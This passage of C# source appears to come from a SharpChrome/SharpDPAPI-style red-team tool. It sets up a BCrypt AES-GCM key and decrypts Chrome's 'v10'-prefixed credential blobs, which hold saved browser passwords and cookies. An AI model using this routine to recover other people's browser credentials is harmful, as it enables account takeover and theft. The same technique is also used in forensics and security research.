ntStatus = BCrypt.BCryptSetProperty(hAlg, "ChainingMode", "ChainingModeGCM", 0);
if (ntStatus == 0)
{
ntStatus = BCrypt.BCryptGenerateSymmetricKey(hAlg, out hKey, null, 0, key, key.Length, 0);
if (ntStatus == 0)
bRet = true;
}
}
return bRet;
}
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L136-L197
// god bless you Dwight for figuring this out lol
public static byte[] DecryptAESChromeBlob(byte[] dwData, BCrypt.SafeAlgorithmHandle hAlg, BCrypt.SafeKeyHandle hKey)
{
// magic decryption happens here
byte[] dwDataOut = null;
BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
int dwDataOutLen;
IntPtr pData = IntPtr.Zero;
uint ntStatus;
byte[] subArrayNoV10;
int pcbResult = 0;
unsafe
{
if (SharpDPAPI.Helpers.ByteArrayEquals(dwData, 0, DPAPI_CHROME_UNKV10, 0, 3))
{
subArrayNoV10 = new byte[dwData.Length - DPAPI_CHROME_UNKV10.Length];
Array.Copy(dwData, 3, subArrayNoV10, 0, dwData.Length - DPAPI_CHROME_UNKV10.Length);
pData = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(byte)) * dwData.Length);
try
{
Marshal.Copy(dwData, 0, pData, dwData.Length);
BCrypt.BCRYPT_INIT_AUTH_MODE_INFO(out info);
info.pbNonce = (byte*)(new IntPtr(pData.ToInt64() + DPAPI_CHROME_UNKV10.Length));
info.cbNonce = 12;
info.pbTag = info.pbNonce + dwData.Length - (DPAPI_CHROME_UNKV10.Length + AES_BLOCK_SIZE); // AES_BLOCK_SIZE = 16
info.cbTag = AES_BLOCK_SIZE; // AES_BLOCK_SIZE = 16
dwDataOutLen = dwData.Length - DPAPI_CHROME_UNKV10.Length - info.cbNonce - info.cbTag;
dwDataOut = new byte[dwDataOutLen];
fixed (byte* pDataOut = dwDataOut)
{
ntStatus = BCrypt.BCryptDecrypt(hKey, info.pbNonce + info.cbNonce, dwDataOutLen, (void*)&info, null, 0, pDataOut, dwDataOutLen, out pcbResult, 0);
}
if (ntStatus != 0)
{
Console.WriteLine("[X] Error : {0}", SharpDPAPI.Interop.GetLastError());
}
}
catch (Exception ex)
{
Console.WriteLine("Exception : {0}", ex.Message);
}
finally
{
if (pData != null && pData != IntPtr.Zero)
Marshal.FreeHGlobal(pData);
}
}
else
{
Console.WriteLine("[X] Data header not equal to DPAPI_CHROME_UNKV10");
}
}
return dwDataOut;
}
public static bool HasV10Header(byte[] data)
{
return SharpDPAPI.Helpers.ByteArrayEquals(data, 0, DPAPI_CHROME_UNKV10, 0, 3);
}
}
}